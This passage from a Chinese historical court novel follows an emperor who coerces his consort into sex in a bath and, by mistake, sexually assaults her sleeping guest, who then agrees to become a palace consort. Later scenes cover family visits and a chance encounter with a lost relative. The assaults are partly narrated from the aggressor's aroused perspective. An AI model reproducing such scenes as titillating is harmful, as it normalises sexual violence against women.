清蕴给予肯定,李贵妃真心感到高兴,两人聊了会儿,得知李秉真今晚不会在家,便提议她今夜留宿宫中,多玩两日。 “我和表姐本来约好,今晚与她一起。”清蕴犹豫,李贵妃顺着她的眼神看去,明白过来是王令娴,含笑道,“这有什么,你们姊妹俩一起住在偏殿,有什么体己话尽可说,今晚我也不会打搅。明儿带你们去五坊看看,那儿有许多新下的小崽子,碰见喜欢的便挑去。” 清蕴问过王令娴,她也没意见,两人便一同留了下来。 偏殿原本就可住人,里面摆了张足以供六人同榻的拔步床,大长公主和李琪瑛都住过。 不过她们今夜不留宿,留下的只有清蕴二人。 散了宴席,陪着李贵妃去看了会儿小皇子,姊妹俩回到偏殿歇午觉,屏退左右,才躺上床榻说话。 两人都没提天穹山,只捡着家常小事聊天,从王令娴口中得知王宗赫已经和柳晚定亲,清蕴惊讶了下,“竟没听过什么风声。” 王令娴道:“两家都不想张扬罢。” 清蕴表示理解,柳阁老地位不同,外祖父行事也比较低调,定不想引起太多注意。 不过,她以前还以为以王家人的性子,肯定不会和柳家成为姻亲。 两人说着说着,慢慢睡了过去。 另一厢,建帝在兽坊待到未时三刻,突然被提醒起今天的日子,得去承乾宫走一趟。 他随手把药吃了,“那就去看看罢。” 第45章 夜访承乾宫 天儿好, 建帝没用仪仗,带着万云和两个侍卫往承乾宫走去。 走了一路,药效逐渐起来,万云察言观色, 看出本就燥热的陛下在烈日下愈发不耐, 提议道:“陛下在树荫下稍候, 奴婢去传辇车?” 建帝否了, 等到承乾宫主殿也出了一身汗。 “贵妃何在?” 宫人答:“娘娘如今和小殿下一起住在左侧殿,正在休息, 奴婢去请娘娘。” 建帝摆摆手,又移驾左侧殿。 由于母子俩身体孱弱,左侧殿没有置冰,只有偶尔的穿堂风带来一丝凉意。建帝刚到这儿,就感觉浑身汗湿愈重, 神色沉沉, 即便看见美丽的贵妃也未好转。 “臣妾和次奴这儿未置冰,陛下不如去主殿歇息,先备水沐浴?” 小皇子尚未取大名, 李贵妃深受佛教影响,便给儿子取小名“次奴”,以表怜爱。 “不用,先看看他吧。” 李贵妃应是。 左侧殿的主屋已经完全被布置成小皇子的住处, 奶娘、嬷嬷等伺候的就有几十人。 紫檀木做的摇篮结实大气, 上方悬挂了一串五彩斓斑的小铃铛, 建帝随手拨弄了把, 弄出叮铃铃的响声。 小皇子觉沉,没被惊醒, 一堆伺候的人先被吓了一跳,碍于是陛下,完全不敢吱声。 李贵妃道:“次奴长开了些,依臣妾看,基本是照着陛下的模子长。” “是么?”建帝淡声回,视线随之落在幼子身上。 大概是先天不足,小小婴孩显得很瘦弱,连呼吸也有种在努力的感觉。但相较于刚出生时的脸色,现在无疑白嫩许多,看得出五官精致,十分可爱。 建帝没看出哪里像自己,只看出贵妃很畏惧他接近小皇子,又想勾起他对小皇子的慈爱。 他如今有两位公主、两位皇子,公主们都满了五岁已开蒙,大皇子如今才三岁,生母病逝,被他随手点了位后妃照顾。 说起来,亲近儿女的时候确实少,大都是他们生辰时才会特意看两眼。有次心血来潮去柳妃那儿看望女儿,还把二公主给吓哭了。 对于这个可能和那则欲言有关的幼子,也实在提不起爱护之心。 建帝道:“好生照料着吧。” 转身回主殿,入净房沐浴。 酷暑难消,桶里备的是冷水,在里面浸了片刻,建帝眉头越皱越深,“唤贵妃来。” 贵妃以为是服侍陛下沐浴,结果刚到净房,就被一只有力的大手扯了过去,顿时脸色微变。 刚退下去的宫女还瞧着呢。 “陛下,臣妾还在休养,身子不便。”她轻声恳求,“且这也于理不合。” 抿了抿唇,想要挣开,“臣妾为您找个美人罢。” “三个多月了,还不方便?”建帝灼热的气息喷至贵妃颈侧,本来只是想消消火,倒真被她这颤巍巍的拒绝模样勾起兴致。 以往他幸贵妃都是在床榻之间,她呢,不拒绝也不迎合,像条死鱼般呆呆躺在那儿,唯独痛了才会闷哼两声,让建帝倍感无趣。这会儿不知是因有孕后隔了许久,还是换了地点,反应竟生动许多。 无视贵妃的不情不愿,把人扯进浴桶,建帝先去药效带来的燥,再慢条斯理地享用了一次。 他经验丰富,学了术法之后花样更多。 可对本就抵触这种事的贵妃而言,不管建帝用的什么花样,对她而言都是折磨,顶多快些慢些的区别。 无力地倚在桶边,贵妃眉头紧蹙,面色却娇艳,熟悉又新鲜的模样让建帝伸手摩挲片刻。他精力充沛,此时还没有真正满足,看在贵妃已经累了的情况下,决定夜里再来,但没说出来。 “朕再不来,宫里该传你这位贵妃失宠了。” “陛下多虑了。”李贵妃内心不是很愿伺候喜怒不定的建帝,若非畏惧他,刚才会拒绝得更彻底。 建帝挑眉,“哦,那就是有了次奴,就不需要朕了?” “……臣妾不敢。” 李贵妃不擅说谎,言不由衷的模样轻易就能被看穿,建帝没有戳破,转而提起另一件事,“前阵子朝堂又有人提起立嗣一事,爱妃怎么想?” 后宫不得干政。这是老祖宗留下来的规矩,建帝自己主动开口,李贵妃却不敢接,“这是陛下和百官商议的事,臣妾不敢妄言。” 亲眼见证过皇帝对娘家的猜忌,私心里,她并不对自己儿子抱那个希望,更盼他平安健康。即使建帝突然有这个想法,她也会想办法劝阻,那么小的孩子,最怕福气太重,承受不住。且她可不希望自己儿子今后也被他的父皇猜忌来猜忌去,整日像自己这样,忧心忡忡。 建帝勾起她下颌,李贵妃低眉敛眸,看不出想法。 这种温顺,却让建帝感受到一种微妙无声的抗议,他头次在木头般的李贵妃身上感受到了脾气。 是因为有了皇子傍身? 突然起身,赤身跨出桶,建帝随手扯过中衣,唤人伺候,“百日礼稍后让万云送来,朕还有事要办,今夜就不再来了。” 他不来,李贵妃反而松了口气,拖着略带痛楚的身体回床榻,唤来女官,“去传个医女来,动静小些,别让人发现。” “娘娘出血了——”女官惊呼,旋即意识到这是何人所致,当即咽回声音,心疼地看自家主子,“娘娘伤势未愈,怎么不和陛下说?” 说了有用吗?李贵妃没和女官解释,陛下连看上的臣妻也不放过,女子在他眼中,恐怕就是个玩意罢了。 在孕中听闻了太多消息,李贵妃几近麻木,如今只希望能够安然度日。 ** 回乾清宫没几时,建帝令锦衣卫传召李审言,大约半个时辰的功夫,李审言奉命而来。 “盯了李德这么久,可有什么进展?” “除去每日协同魏统领练兵,其余时候大都待在家练拳、养花、会友,偶尔出门,也是应邀去喝酒。”李审言把齐国公会见的一些人列举出来,建帝一听,还真没几个位高权重的官员,大都是些无足轻重的武将,或者经年老友,老友也大都到了致仕的年纪。 兵部尚书孟集是他曾经的属下,到国公府求见时,他一次也没应过。 没发现什么问题,建帝反而不满意,他内心笃定那则预言说的是李家,李德要么是在韬光养晦,要么是连李审言也骗过了,或者…… 他目光沉沉扫过面前青年,依这阵子对李审言的了解来看,这小子不像那么有心计的人,不至于和李德演戏给他看。 建帝道:“除去李德,其他人呢?” 他指的是李秉真、大长公主等人,李审言的脑海中不经意闪过那张比荷花还要清丽的面容,以及那根细腻如玉的手指,垂首:“大长公主似乎养了面首。” 建帝愕然,随即笑了下。他就说么,皇家哪有为人守身如玉的,即便公主也鲜少如此。除去这位姑母,其他哪位不是把驸马当成个召之即来挥之即去的玩意,无聊时就养几个面首解闷。 齐国公虽然英武,到底是老了,何况两人已经和离。 问过大长公主,建帝还是顺带提起了李秉真夫妇。不过在这两人的事上,李审言就答得更少了,和建帝在锦衣卫那儿听到的相差无几。 想想也是,兄弟俩都不亲近,李审言对嫂嫂就更生疏了,恐怕都没怎么正眼瞧过。 记起李贵妃生产那时见过的人,娇美的芙蓉面和沉静的神色混合在一起,让建帝心底那点痒没有持续太久,就又开始“锻体”了。 道家有阴阳双修,佛教密宗有欢喜禅,建帝的采阴补阳之法结合二者所长,往往先独自练功法,再去找女子采补。 万云给他引荐了一批民间“高手”,很得建帝器重,如今在宫里都有自己的殿宇。 和他们练了一套功法,建帝自觉已经掌握要领,准备找人练功。 放在平时,他都是在宠爱的新人和那些“被献上”的美人当中挑选,今日被贵妃引起兴趣,当即决定夜探承乾宫。 建帝的“夜探”实打实,除去万云,其他人都不知晓,还以为他照旧歇在寝宫。 万云特意做好布置,好方便陛下“飞檐走壁”。 不得不说,建帝天生就喜欢这种刺激又隐秘的感觉,就像每每临幸臣子的妻妾时,不管他们知不知道,对他而言都能助兴。李贵妃守规矩,比寻常女子更矜持三分,他临时起意,决定作个伪装,最好能看到贵妃花容失色的表情。 避过内侍和宫女,建帝借着幽暗烛光走到榻前,垂下的床幔中,美人斜躺的身姿若隐若现,婀娜曼妙。 解去外袍,建帝一跃而上,先伸手堵住美人香唇,防止她叫喊,再毫不客气地伸手探入衣裙。 熟睡中的人意识懵懂地醒来,感觉到肆意游走的大掌,倏地一惊,立刻挣扎起来。 中午就小小领略过贵妃抗拒的建帝不以为意,动作越发狂放,惹得人也反抗得愈发剧烈,险些让他没按住。 他也发了狠,把人双手反剪到背后,剩下的一只手略使劲,轻薄的丝绸里衣“刺啦”一声裂开,露出光滑细腻的肌肤。 建帝更加兴奋,下手也没轻没重,等手背察觉到温热的水珠溅落时,意识到贵妃哭了,难得好心地贴在她耳边道:“莫怕,是朕。” 身下的人微震,没有回以他想象中的反应,反而泪水愈发汹涌。 虽然眼泪能让建帝快意,但也纳闷贵妃为何会如此,伸手板过被自己压制的脑袋,撞入眼帘的却是一张陌生含泪的脸。 建帝愣住,与此同时,身后传来戛然而止的脚步声。 回头一看,震惊无比又极力忍住没有惊呼的,不是他曾惦记过的陆清蕴,又是何人? 建帝皱着眉,慢慢坐起身。 …… 李贵妃入睡没多久就被女官匆匆唤醒,从三言两语中拼凑出整件事,吓出浑身冷汗,匆匆来到右侧殿。 侧殿灯火通明,外面齐刷刷跪了一圈人,里屋的床榻上鼓起大包,清蕴正在轻轻拍打。 再一看,建帝靠在椅上由人服侍着喝水,神色看不出喜怒。 李贵妃先对上清蕴的眼神,得到一个微不可见的摇头,稍稍松了口气,没有真正成事就好。 她向建帝行礼,“陛下,这是……” “朕走错了地方。”建帝言简意赅,饶是他荤素不忌,也不喜欢这种找错地方、认错人的戏码,尤其是得知那女子身份后,更心烦意燥。 王贞的孙女可不是能随意打发的。 若是将错就错碰了陆清蕴,他还会高兴,付出点代价也没什么,说不定还能用这个理由强纳人进宫。 方才他做了什么自己清楚,除去最后一步,几乎已经把人玩弄了遍,无论如何也不能当做无事发生。 “怪臣妾,没有提前向陛下禀告让人留宿承乾宫一事。”李贵妃先行认错,揽一半责。 建帝从鼻间哼出一声。 紧接着,李贵妃问:“陛下如今是何意?” 建帝扫过床榻,沉默了下,“问问她,愿意进宫也可,不愿进宫,就把今夜的事瞒住。” “王姑娘自己恐怕无法定主意,不如臣妾明早传她祖母秦夫人和母亲郑夫人进宫,问问她们的意思?” 建帝应下,最后看一眼床榻边的清蕴,不想再在此处多待,很快起身离去。 李贵妃这才有空把清蕴叫到一旁,问起她今夜状况。 清蕴道:“我夜里容易惊醒,醒后不好再睡,就到外面走了会儿,回来就发现陛下忽然出现。” 说着面露自责,“若是我还在,也不至于……” 李贵妃做出噤声手势,事已至此,只能说都是天意。谁都没料到对她日渐冷淡的建帝会突然“夜访”,还访错了侧殿。她甚至隐隐庆幸当时留在榻上的不是清蕴,不然她都无颜见弟弟。 当然,后面冒出的想法不应该有,仅仅在她脑海中一闪而过,很快忘却。 第46章 清蕴管得很严 秦夫人和郑氏一大早收到宫中传召, 都摸不清路数,想到王令娴昨夜留宿宫中,心中冒出了无数种猜测。 心神不宁地赶到承乾宫,远远就看到清蕴在外等候她们。 “外祖母, 大舅母。”清蕴迎接二人, 眼神示意, 宫女和她们身边的女使都自觉退下。 她言简意赅地把昨晚发生的事说了遍, 秦夫人眉头动了动,郑氏则倒吸冷气, 急怒交加,“盈盈没出什么事罢?!” 割腕之事犹在眼前,性烈如女儿,郑氏生怕她因受屈辱而寻短见。 “大姐姐身体无恙,起初一直把自己裹在榻上, 不肯同人说话, 直到前几刻,起身喝了口茶。” 左右无人,清蕴忽然朝两位长辈深深揖首, “此事也有一半责任在我,若我昨夜仍和大姐姐一起,便不会有认错的事。” 郑氏双眼充火,压低声音, “不是因为你, 盈盈怎么会一起留宿宫中?你本就该照看好她!” 若非碍于在宫中, 她恨不得上手! “好了。”秦夫人出声, 孙女外孙女她都心疼,也清楚不是她们任何一人的错, “先去看盈盈如何。” 思女心切的郑氏不再废话,踏步进入侧殿。 内屋未开窗,闭塞宛如幽室,考虑到王令娴情绪,李贵妃派了两位贴身女官在她身边守候,点满明烛,使屋内不至暗淡。 李贵妃身处高位,且刚诞下小皇子,郑氏有千般怒火都不敢对她发,迅速行了个礼,往床榻上去看女儿。 还没说两句话,先爆出哭声。 她是真情实感,觉得女儿命运多舛,李贵妃则十分尴尬,看了几息,退到屏风外。 秦夫人一同。 “事已至今,再怎么认错也无用,只怪我们大意。”李贵妃低声细语,将建帝的话道出,“您看该如何?无论怎么选,我都会尽力照看好王姑娘,也可做媒,为王姑娘择一佳婿。” 说完两句,宫女为她递上热茶,润了润苍白的唇色。 李贵妃睇了眼在旁扶着秦夫人的清蕴,接道:“此事和清蕴也没什么关系,望您老莫责怪她。” 牵扯到建帝,她点到即止。 秦夫人明晓事理,也远比她心疼清蕴,半晌叹一声,“怪不得谁,看令娴如何想罢,她怎么选,家里都支持。” 李贵妃明了,看来王家是比较疼惜儿女的,不会故意拿这件事谋好处。 “那你们先陪着王姑娘,不急,请她考虑清楚了再答复。” 李贵妃本想带清蕴一起回主殿,想了想,还是作罢,看秦夫人的态度,也许祖孙俩还有话说。 这点却是想错了,秦夫人仅拍了拍外孙女的手,未说一字。屋内,王令娴倒是受不住母亲的哭声和唠叨声,中间还夹杂着对她、清蕴以及其他人的埋怨,听得她心烦意乱,猛地掀开被,“娘你能不能别哭了。” 话说得又冷又沉,目光也是凉飕飕的,让郑氏着实愣住,“你,你冲我发什么脾气?” 将眼前冰冷的少女和一年前温柔贤淑的女儿作对比,郑氏深觉,她着实变了许多。 殊不知,对王令娴而言,亲手杀死周墨的刺激可比昨夜要来得深。 昨夜她确实惊慌,发现陌生男子是皇帝后又添了股恐惧。可建帝、李贵妃、清蕴接二连三的态度表明,错在天子而不在她,那股畏惧便慢慢消了。 放在一年前,被人又亲又摸,即使没做到最后一步,也足够让王令娴羞愤欲死。可经历过诸多事后,她除去最初的慌乱,回过神其实没那么伤心。 之所以做出那副模样,是因为她清楚作为未出阁的大家闺秀该有什么反应。 听母亲郑氏的话,却像是要拿这件事找全天下人算账。 王令娴内心冷笑,母亲是又从这件事当中看出了有利可图的地方吗? 不知女儿误解的郑氏仍在开口,“你说实话,昨夜是不是有人故意算计?” “算计?算计女儿能得什么好处?”王令娴推开母亲,“怎么不觉得是我故意留宿宫廷,想攀上陛下呢?” 殿内没有其他人,郑氏失声,“我怎会这么想?” 王令娴闭了闭眼。 如果可以,她并不希望把这事交给长辈尤其是母亲来处理,但她的身份偏偏注定了自己的事没法自己做主。 从遇见周墨,到初次议亲,为周墨割腕,亲手杀了周墨……种种过往在眼前交织,王令娴脑海中腾地想起天子那句话。 让她自己做主。 “我进宫。”她抛出一声惊雷,迎向祖母和表妹讶异的目光,定了定神,重复道,“我愿意进宫。” ** “便留在了宫里?”月舍,李秉真遣退左右,独自在净房陪伴清蕴,偶尔帮她舀水递巾。 她在宫中待了整整两日才回,李秉真以为是被长姐留下,不曾竟有这等荒唐事发生。 任热汤顺长发滑落,将肩颈以下浸在水中,清蕴颔首,轻声道:“她定下主意就去找了娘娘,娘娘禀报给陛下,陛下也应了。” 许是为了补偿王令娴,建帝直接给她妃位,并赏封号淑。 宫中突然多出一个淑妃,这则消息,恐怕要等明日才会传遍朝堂。 李秉真:“你这位表姐很果断。” 清蕴不置可否。 细究起来,其实也有迹可循,王令娴表面看着是遵规守矩的大家闺秀,可她做的每件事,都能出乎意料。 “娘娘怎么说?” “娘娘答应外祖母和舅母,会在宫中照顾表姐。” 李贵妃坐到这个位置,摸清了建帝脾性,知道没法寄希望于他的宠爱,又有一子傍身,没必要为突然增加的一个妃子紧张。李秉真也是如此,考虑到王令娴是和妻子一起长大的表姊妹,更怕她为此忧心自责。 清蕴道:“等封妃的事传出来后,我再去王家一趟。” 李秉真点头,“我陪你一道。” 隔了两日,宫里多了位淑妃的事,该知道的差不多都知道了。得知新娘娘是王贞的外孙女,有人不解,有人则恍然大悟,怪不得这老狐狸迟迟不给孙女定亲,原来是打这主意。 王家风平浪静,从老到少都表现得和以往别无二致。在这样的氛围中,清蕴携李秉真登门了。 真正算起来,王家才是清蕴娘家,几乎没人惦记远在江苏的陆家。 出嫁的姑娘和姑爷一起上门,休沐在家的王贞、王维章、王维清及王宗赫一起参宴,接待了两人。 大庭广众之下不好谈论后宫的事,众人饭前只挑些家长里短的事随意聊。 上菜后,清蕴尝了口面前的腊鱼,仍旧受不住那股腥味,当即转头做出干呕的动作。 饭桌上齐齐静了瞬,纷纷有所猜测。 王贞和两位舅舅都笑眯眯的,期待有好消息,王宗赫迟了一息,也关心地看去。 李秉真很淡定,作为丈夫,两人同房的情况他再清楚不过。 张颖一直都告诫他未停药前不宜有孕,容易影响胎儿,他便每次都做了措施。 示意下人给清蕴上清水,顺便把她碗里那块鱼夹走,略带了笑意,“吃不了腊味,偏偏总爱尝试。” 秦夫人出声打破安静,“是了,清蕴每看到腊味都要尝一尝,却总受不住那股味儿。” 失望一闪而过,秦夫人吩咐人把清蕴面前的腊鱼撤走,众人继续吃饭。 饭罢,清蕴陪秦夫人去消食,李秉真则和比自己年少的舅兄王宗赫走到一块。 王家依旧是从前风景,花草、树木、假山、池水皆错落有致,游廊左右雕刻名家名篇,既有外祖父的文趣,也饱含秦夫人的心血。 住在王家时,清蕴很少有心思欣赏这些。出嫁归来,倒时常能体会到其中雅致。 和国公府略显粗犷随意的装饰相比,王家布景确实更精美。 “是不是很奇怪,今儿你大舅母怎么没摆脸色?”秦夫人问。 清蕴心知八成是她和大舅舅给郑氏讲道理、分析利害关系,才让郑氏变得心平气和,但还是做出愿闻其详的模样。 “她啊,原先是担心陛下会对盈盈不管不顾,又怕盈盈坏了名声,不好找夫婿。”秦夫人解释,“得知陛下封盈盈为淑妃后,怨气就顿时消了大半。” 事实证明,大儿媳依旧是那个大儿媳,一向就喜欢以门楣、地位论英雄,如今女儿得封四妃之一,甚至比在宫中多年还无封号的柳妃胜上一筹,还能有什么不满?就算有,也是短暂装出来的,毕竟王令娴进宫的方式不算光彩。 清蕴懂了,竟是她之前多想。 不过,大舅母这么“豁达”,舅舅和外祖母就未必了。 她还是取出提前准备好的荷包,秦夫人纳闷一看,里面竟放了巨额银票,当即愕然,还有不悦,“这是什么意思?” “阿嬷放心,这些和国公府无关,是原先您给我的铺子的营利。大姐姐入宫多少与我有些干系,思来想去,我只能让她在宫中使唤人更方便些,只是不好亲手拿去,还要麻烦您和舅母。” 李贵妃是李秉真长姐,也是清蕴的小姑子,不管她在不在意王令娴的存在,清蕴都不可能跑到淑妃宫里去送银票。 秦夫人面色复杂,“猗猗,你怎么待家里人总这样客气?好似生怕欠着我们。之前送了两次银票,我就当是你孝顺家里长辈的,盈盈与你平辈,她的事,哪至于要你出钱出力?别说盈盈进宫怪不了你,就算真和你有关,我们还能要你掏空家底赔罪不成?你们不是亲姊妹,胜似亲生,如今虽隔了宫墙,日后谁若有需要,有余力的,尽力帮忙便是。难道那些情分,就想用银子买断?” 清蕴微怔,沉默不语。 秦夫人不想在外孙女回家时说教,说过这两句就作罢,把荷包不容拒绝地推了回去,转移话题,“说起来,方才在饭桌上,我还当你们真有了好消息。” “日子还短呢,哪有那么快。”清蕴跟着收拾好情绪。 “确实,还不到一年的功夫,不必急。我之前说的那位大夫,你可是去看了?” 清蕴点点头。 秦夫人问调理得如何,清蕴答恢复得不错,叫她那张肃然的脸露出笑容。 祖孙俩拉家常期间,李秉真进了王宗赫的书房。 一眼望去,这儿最多的不是书,而是卷宗,有半个房梁高的卷宗堆了几十沓。刚踏进去,李秉真还以为进了吏部的公房。 “柳阁老这是让你把吏部搬过来了?”李秉真玩笑。 “都是官吏述职的折子,还有记录他们生平、功绩的卷宗。”王宗赫从卷宗海中掏出两把小圆凳,和李秉真各坐一个。 新的官员考校法由他提出,就没人能比他更了解一个官员该如何评、如何任用提拔。为了不让新法成为空中楼阁,也为了迅速站稳脚跟,王宗赫准备在三个月之内把近五年的官员履历看完,并按他们的能力、功绩进行分类。 本来呢,他每天一到吏部就开始埋头看卷宗。但柳阁老器重他,要么有其他事务交办,要么是带着他去六部的其他部晃悠。白日里没有时间,王宗赫便经常挑灯夜战。 这种状况持续了二十来天,直到吏部的人埋怨他带坏风气,还说因为他,吏部用烛用油的费用都高了一截,到两位侍郎跟前告状。 两位侍郎再告诉柳阁老,他惊讶之余,便应允王宗赫把卷宗带回家看,并延伸期限,半年内看完即可。 便有了王宗赫书房这幕。 李秉真听了来由,感慨道:“你也不容易。” 他这回是真心庆幸自己只需要在翰林院修修书、讲讲经了,看卷宗绝不能算有趣,可以说沉闷至极。 “世子现在身体如何?”王宗赫给他倒了杯水。 “已经好多了。” 王宗赫看得出这话不假,比起天穹山那会儿,对方的脸色健康许多,由苍白变成了正常白皙。 “翰林院可忙碌?” 李秉真笑了笑,“你曾待过,难道不知翰林院的情况?” 基本是可忙可不忙,对于他这种“不求上进”的人而言,那就是悠闲至极。 王宗赫顿了顿,“听闻世子有过目不忘之能。” 刚举杯喝水的李秉真一怔,隐约领会了他的意思,旋即被水呛得咳嗽出声。 这咳嗽还止不住,反而有愈演愈烈的架势,王宗赫不得不放下手中卷宗,帮忙拍背。 咳得整张脸都微红,李秉真道:“你也看到了,我仍在休养,一点都累不了。” 王宗赫无声看去,虽无明显谴责,但这种沉默也是十分有力的质问。 李秉真若无其事地移开目光,他如果真答应帮这个忙,起码得有几个月不得清闲。 “并非我不应你,而是……”李秉真慢慢道,“清蕴管得很严,要求我每日酉时正之前必须到家。若我一下值就在这待着不去见她,你觉得她会怎么想?” “我可以帮忙解释。” 李秉真摇头,“她只会觉得是借口。” 王宗赫并不觉得清蕴会这么不讲理,但确实也不想和李秉真聊起清蕴,因为这总会让他想到其它,继而乱了心思。 见他似乎放弃了劝自己,李秉真微微一笑,“听闻你和柳阁老的孙女定亲了?” “嗯。” 李秉真真心为他感到高兴,自然,也乐于见到他放下对清蕴的那点心思,“柳姑娘才名远扬,又深得阁老疼爱,阁老肯将孙女许配给你,可见对你爱重。” 王宗赫依旧不轻不重应了声。 “至于我方才说的那些,等你成婚了,也就清楚了。” 王宗赫敛眸,脑海中浮现的并非柳晚,而是不自觉地想到了清蕴笑盈盈的面容。 若她管束自己,他大概也会乐意当个悠闲世外人。 第47章 腕间红痣 回程的马车上, 清蕴发现李秉真又咳了起来,担忧他是病情复发,帮他顺着背,却听他讲起了书房对话。 得知只是喝水岔气, 她笑, “我记得你很欣赏三哥。” 王宗赫很少会主动找人帮忙, 开了口, 就说明两人关系确实不错,他也认可对方。 “欣赏归欣赏, 帮他分担吏部庶务就不妥了。一则我非吏部人员,一则我曾拒绝进六部,被陛下知道了怎么想?”李秉真说得有条有理,可惜唇畔的笑意暴露了真实所想。 清蕴当然不会拆穿他,闲聊几句, 路过街市, 准备去看看新开的绸缎铺。 绸缎铺大都是女客,李秉真不好陪,带着藏翠去了书店, 等清蕴着人唤他。 绸缎铺名为素织,分三层,一层经营各式成衣和普通布料,二层供富商和寻常官员挑选, 三层则接待达官贵人、皇亲国戚, 妆花缎、雨丝锦等名贵布料尽在其中, 还有不违禁的贡品。 大致瞄了眼门前, 从另一侧楼梯上楼,清蕴本是想随意瞧几眼店里式样, 再去三层看看是否有新奇好看的布料,便给宫里两位送去。 二楼客人不多不少,守了六位小姑娘,基本每位客人都能照顾到。 清蕴默默颔首,脚刚抬起,角落里暗暗盯了她一会儿的妇人忽然走来,“劳驾夫人。” “嗯?”清蕴应声的同时,白兰也往前走了两步,以恰好的距离站在她和妇人之间。 观清蕴穿着气度便知非富即贵,妇人不敢冒犯,目光不错,言语尽量柔和,“敢问夫人家中可有兄弟姊妹?” 清蕴未答,白兰道:“请问您是哪位?” 妇人自我介绍,“我姓姜,是宛平人氏,夫君是宛平县的工房吏员。今年长子科举考中进士,留任京城,一家人就搬了过来。” 她的话倒诚心,白兰神色微松,问她找自家夫人有何事。 姜玲看出来,不过面前女使这关,根本没机会与那位夫人交谈,老老实实地交代,“夫人与我长姐生得很像,让我想起自己的外甥女,应当就和夫人年纪差不多。” 白兰又问其长姐状况,得知妇人的姐夫曾是山长,已不在人世,外甥女多年未见,不由笑,“那你说的人定和我们夫人无关。” 她不可能对陌生妇人交代主子家世,姜玲却不肯放弃,因面前女子相貌气质与曾经的长姐实在太像了,美而不妖,柔丽动人,在人群中极为突出。 姜玲和长姐并非一母同胞,她是姨娘所生,且姨娘早早就去了,她便养在了嫡母膝下。 嫡母仁爱,长姐也对她这个妹妹照顾有加,所以姜玲一直很感念母亲姐姐的恩德,远嫁后也常寄信问候。 得知家乡那边倭寇愈发猖獗,她曾建议长姐一家搬来宛平,毕竟临近京城,处处重兵把守,安全定没得说。 长姐拒绝了,说姐夫放不下书院。姜玲一直担忧他们安危,后来得知夫妻二人双双自尽的消息,有种果然如此的感觉,剩下最牵挂的,就是仅见过两三面的小外甥女。 在长姐离世半年前,姜玲曾收到过她的来信,说有可能会带着女儿来宛平。她便想,长姐离世前,是否做了相应准备。 等了半年无果,她还亲自动身去江苏走了一趟,结果自然是一场空。 姜玲不肯相信外甥女也遭遇意外,这些年一直没放弃过打听消息,婆婆因此对她多有意见,好在丈夫支持。如今婆婆去世,儿子又考取功名,她陡然见到年纪、相貌都和外甥女对得上的女子,自是激动无比。 她和白兰讲述时,清蕴离了三步远,目光在姜玲身上幽幽停了会儿,在她察觉之前移开。 清蕴记性不差,随着姜玲自曝家门、讲述往事,慢慢明白过来,知道她就是当初母亲让自己投奔的姨母。 看起来,姨母并不像她当初担忧的那样会嫌弃自己,反而比想象中要友善慈爱,这么多年都没忘记一个没见过几面的外甥女。 可那又如何呢?她已经做了王家外孙女,就不会再是林家女。 神色淡淡地提醒白兰离开,清蕴提前行了两步,竟被思亲心切的姜玲健步拦至身前。 “夫人。”姜玲嗫嚅,脸上突然流下一行清泪,“我知道世间长相相似之人有许多,似夫人这般尊贵的人物和我肯定也没什么关系,只是……” 她嘴拙得不知说什么才好,终究不肯死心,“我那外甥女腕上有一颗红痣,不知夫人、夫人……” 白兰终是变了脸色,迅速觑过清蕴神情,上前扯下姜玲,“大胆!” 随着她这声厉喝,铺子里的女管事被吸引注意,几步走来。虽然不知清蕴是幕后东家,也清楚她身份定然贵重,立刻先帮着白兰拦人。 姜玲被可能的惊喜冲昏了头脑,兀自流泪看向清蕴,神色之恳切,让管事看了都不忍。 她的儿媳注意到动静,匆匆赶来扶住姜玲,不知婆婆如何得罪了贵人,只好先告罪,再低声询问,才知道婆婆又把人认成了多年了无音讯的外甥女,同情又紧张。 夫君虽然成了进士,有幸在京中得到官职,但在权贵遍地走的京城,不过是最不起眼的小官吏,得罪不起人。 这时候,清蕴终于微微叹一声,上前扶住姜玲。 宽袖微微滑落,映入姜玲眼中的,是一对洁白如雪、没有任何瑕疵的皓腕,也没有红痣。 “我与姜夫人虽无亲缘,但见您如此,也为您倍感痛心。不如姜夫人告知我住在何处?倘若我遇见相似之人,定会派人去告知。” 姜玲盯着她两只手腕,失魂落魄地报出住处。紧接着,脸上泪水被人轻柔拭去,“我朝疆土何其辽阔,兴许姜夫人的至亲机缘巧合去了别处,只是隔得太远才暂时不得相见。姜夫人如此诚心,佛祖得见,定会保佑你们二人重逢。” “是吗?”姜玲喃喃。 清蕴给予她肯定回答。 姜玲儿媳内心称奇,这位贵人真是她们进京以来见过的少有的和气人。这不是婆婆第一次认错人,激动得痛哭流涕的时候也有,对方不是不耐烦就是被吓得匆匆离开,难得贵人还能出声安慰。 看效果,还很不错,婆婆当真听了进去。 清蕴的柔声细语让姜玲情绪稳定下来,看着面前年轻夫人的袖口被攥皱了些,顿时羞愧,“我弄坏了您的衣裳,多少银子?我来赔。” 清蕴的穿着、佩戴无不精细,要么是宫中赏赐的贡品,要么是时下鲜见的花色布料,都不能用普通银钱来衡量。白兰打量主子神色,笑道:“不必了,都是小问题。” 姜玲还想再说什么,贵人已经被管事领去了三楼,徒留一阵香风,令她内心惆怅不已。 挑了些料子让人送去齐国公府,清蕴走出素织,没有被刚才的事影响,还有心情吩咐人去酒楼买烧鹅。 白兰偷偷多看了几眼主子。 刚才她出声斥责,不是因妇人说中了什么,而是因妇人话语有所冒犯。但听完后,她确实也生出疑惑。主子手腕上没有红痣,可左臂有一颗梅花花蕊大小的红痣,因为生得很漂亮,宛如仙人点画,她和白芷看一眼就记住了。 难道就这么巧,长得像,还都有红痣,就位置不同? 白兰把事存在心里,不由自主地默默观察起主子。 她半途被聘到王家,不如白芷服侍的时间长,但对清蕴的身世也十分了解,知道她是在七岁那年父母双亡,隔了一年被王家接到京城。 王家人不愿提起这桩伤心事,白芷沉默寡言。白兰因关注陈危,暗地里打听他的消息,才知道陈危就是当初去接主子入京的人之一,另一个就是陈危的叔父,王家原来的管家。 白兰总认为,主子待陈危亲近,是因为陈危比王家任何人都更早接触她。 倘若……不单单是因这个呢? 私下细想时,白兰被心中浮现的可能骇了一跳,赶紧拍拍脑袋,试图忘记这惊人的猜测。 可越努力忘记,越难放下。 白兰想,如果她的猜测捱了真相的边,主子应该会很快传陈危来罢,就像以前每次遇到难事要办时,都会唤他。 她边等待,边观察。 让她松了口气,又莫名失望的是,妇人认亲的事过去了一两个月,主子都没有提起陈危。 ** 最难耐的酷暑过去,衣橱里的常服由轻便渐渐转为厚重,冰鼎也不用再常置了。 秋季舒爽,出游、办差都很适合。这个受到大部分人青睐的季节,对于李秉真而言却不那么轻松。 自幼由于毒病交加,他喜热不喜冷,开始施针之后,这种倾向就更加明显。 